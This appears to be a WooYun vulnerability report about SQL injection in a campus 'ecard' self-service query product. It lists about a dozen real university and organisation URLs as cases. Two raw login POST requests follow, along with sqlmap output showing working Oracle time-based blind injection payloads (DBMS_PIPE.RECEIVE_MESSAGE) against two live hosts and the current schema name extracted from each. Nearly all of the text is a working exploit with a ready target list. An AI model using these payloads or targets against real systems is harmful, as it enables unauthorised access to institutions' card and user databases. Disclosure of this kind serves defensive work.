WooYun.org

收集案例： 
http://ecard.sdut.edu.cn/ 
http://ecard.bzmc.edu.cn/ 
http://ecard.sdca.edu.cn/ 
http://59.173.236.220/SelfSearch/Default.aspx 
http://202.115.192.98/SelfSearch/ 
http://ykt.szetop.com/SelfSearch/ 
http://yktweb.cqie.cn/default.aspx 
http://www.zhengzhong.cn/selfsearch/ 
http://221.224.167.141/selfsearch/ 
http://zzcx.scujjedu.cn:114/ 
http://202.101.244.45/selfsearch/

测试数据
POST /UserInfo/UserLogin.aspx HTTP/1.1
Host: ecard.sdut.edu.cn
Proxy-Connection: keep-alive
Content-Length: 511
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://ecard.sdut.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://ecard.sdut.edu.cn/UserInfo/UserLogin.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=mczm4gqd5k5bqknbrab5phbc
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTczODI0OTkzNQ9kFgICAw9kFgQCAw8PFgIeB1Zpc2libGVnZBYCAgEPDxYCHgRUZXh0BQznlKjmiLflkI3vvJpkZAIFDw8WAh8AaGQWBAIBDw8WAh8BBQ3plJnor6%2Fljp%2Flm6A6ZGQCAw8PFgIfAQVC5p%2Bl6K%2Bi57uT5p6c5Li656m677yM6L6T5YWl55qE55So5oi35LiN5a2Y5Zyo5oiW5bey5oiQ5biQ5aSW5Y2h77yBZGRkBoGAKLFhS9bp5K80l7EDTTWuKi4%3D&__EVENTVALIDATION=%2FwEWBgKwwJj9CQKl1bKzCQKd%2B7qdDgKY2YWXBgKTgvWHDQLJk9%2FkDImwNsGU0pQlSSMzEwopYl%2FPMVGy&txtUserName=*&txtPwd=123123&txtCheckCode=6174&btnUserLogin=

测试结果
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: (custom) POST
Parameter: #1*
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (comment)
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTczODI0OTkzNQ9
kFgICAw9kFgQCAw8PFgIeB1Zpc2libGVnZBYCAgEPDxYCHgRUZXh0BQznlKjmiLflkI3vvJpkZAIFDw8
WAh8AaGQWBAIBDw8WAh8BBQ3plJnor6/ljp/lm6A6ZGQCAw8PFgIfAQVC5p+l6K+i57uT5p6c5Li656m
677yM6L6T5YWl55qE55So5oi35LiN5a2Y5Zyo5oiW5bey5oiQ5biQ5aSW5Y2h77yBZGRkBoGAKLFhS9b
p5K80l7EDTTWuKi4=&__EVENTVALIDATION=/wEWBgKwwJj9CQKl1bKzCQKd+7qdDgKY2YWXBgKTgvWH
DQLJk9/kDImwNsGU0pQlSSMzEwopYl/PMVGy&txtUserName=%' AND 6545=DBMS_PIPE.RECEIVE_M
ESSAGE(CHR(106)||CHR(109)||CHR(118)||CHR(84),5)--&txtPwd=123123&txtCheckCode=617
4&btnUserLogin=
---
[09:35:55] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Oracle
[09:35:55] [INFO] fetching current database
[09:35:55] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[09:36:11] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
C
[09:36:24] [INFO] adjusting time delay to 1 second due to good response times
CENSE
[09:36:52] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle):    'CCENSE'
[09:36:52] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\ecard.sdut.edu.cn'
[*] shutting down at 09:36:52

测试数据
POST /UserInfo/UserLogin.aspx HTTP/1.1
Host: zzcx.scujjedu.cn:114
Proxy-Connection: keep-alive
Content-Length: 335
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://zzcx.scujjedu.cn:114
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://zzcx.scujjedu.cn:114/UserInfo/UserLogin.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: ASP.NET_SessionId=wsjzdsiykimw1w55yaq4oy55
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTUwNTExNDEzMg9kFgICAw9kFgICAQ9kFgICAQ8PFgIeBFRleHQFDOeUqOaIt%2BWQje%2B8mmRkZM%2BiPW9TLYnRwd1iqTJB7MVAWXC%2B&txtUserName=*&txtPwd=admin&txtCheckCode=7687&btnUserLogin=&__EVENTVALIDATION=%2FwEWBgLp%2F6GKAQKl1bKzCQKd%2B7qdDgKY2YWXBgKTgvWHDQLJk9%2FkDPlibsNXwBfNBpqqwnX79i55Bk1M

测试结果
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: (custom) POST
Parameter: #1*
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (comment)
    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTUwNTExNDEzMg9
kFgICAw9kFgICAQ9kFgICAQ8PFgIeBFRleHQFDOeUqOaIt+WQje+8mmRkZM+iPW9TLYnRwd1iqTJB7MV
AWXC+&txtUserName=%' AND 1858=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(116)||CHR(
69)||CHR(87),5)--&txtPwd=admin&txtCheckCode=7687&btnUserLogin=&__EVENTVALIDATION
=/wEWBgLp/6GKAQKl1bKzCQKd+7qdDgKY2YWXBgKTgvWHDQLJk9/kDPlibsNXwBfNBpqqwnX79i55Bk1
M
---
[09:46:39] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[09:46:40] [INFO] fetching current database
[09:46:40] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[09:47:00] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[09:47:09] [INFO] adjusting time delay to 2 seconds due to good response times
[09:47:09] [ERROR] invalid character detected. retrying..
[09:47:09] [WARNING] increasing time delay to 3 seconds
[09:47:18] [ERROR] invalid character detected. retrying..
[09:47:18] [WARNING] increasing time delay to 4 seconds
CCENSE
[09:48:42] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle):    'CCENSE'
[09:48:42] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\zzcx.scujjedu.cn'
[*] shutting down at 09:48:42